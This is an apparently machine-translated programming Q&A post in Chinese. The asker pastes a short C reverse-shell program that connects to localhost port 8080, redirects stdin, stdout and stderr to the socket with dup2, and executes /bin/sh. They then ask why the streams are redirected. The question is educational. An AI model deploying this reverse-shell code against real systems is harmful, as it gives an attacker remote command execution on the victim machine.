我遇到了这个用 c 编写的反向 shell 代码。
main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sock_addr;
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(8080);
sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));
dup2(sock, STDIN_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
execl("/bin/sh", NULL);
}
Run Code Online (Sandbox Code Playgroud)
我想理解它,所以我了解了文件描述符,因为使用了 dup2。现在的问题是我不明白为什么。
套接字的手册页让我假设 stdin、stdout 和 stderr 正在被套接字取代。
[...] 成功调用返回的文件描述符将是当前未为进程打开的最小编号的文件描述符。
这个假设是真的吗?如果是,为什么要重置默认流?是否是因为以下 execl("/bin/sh", NULL) 行,正如该线程所暗示的那样?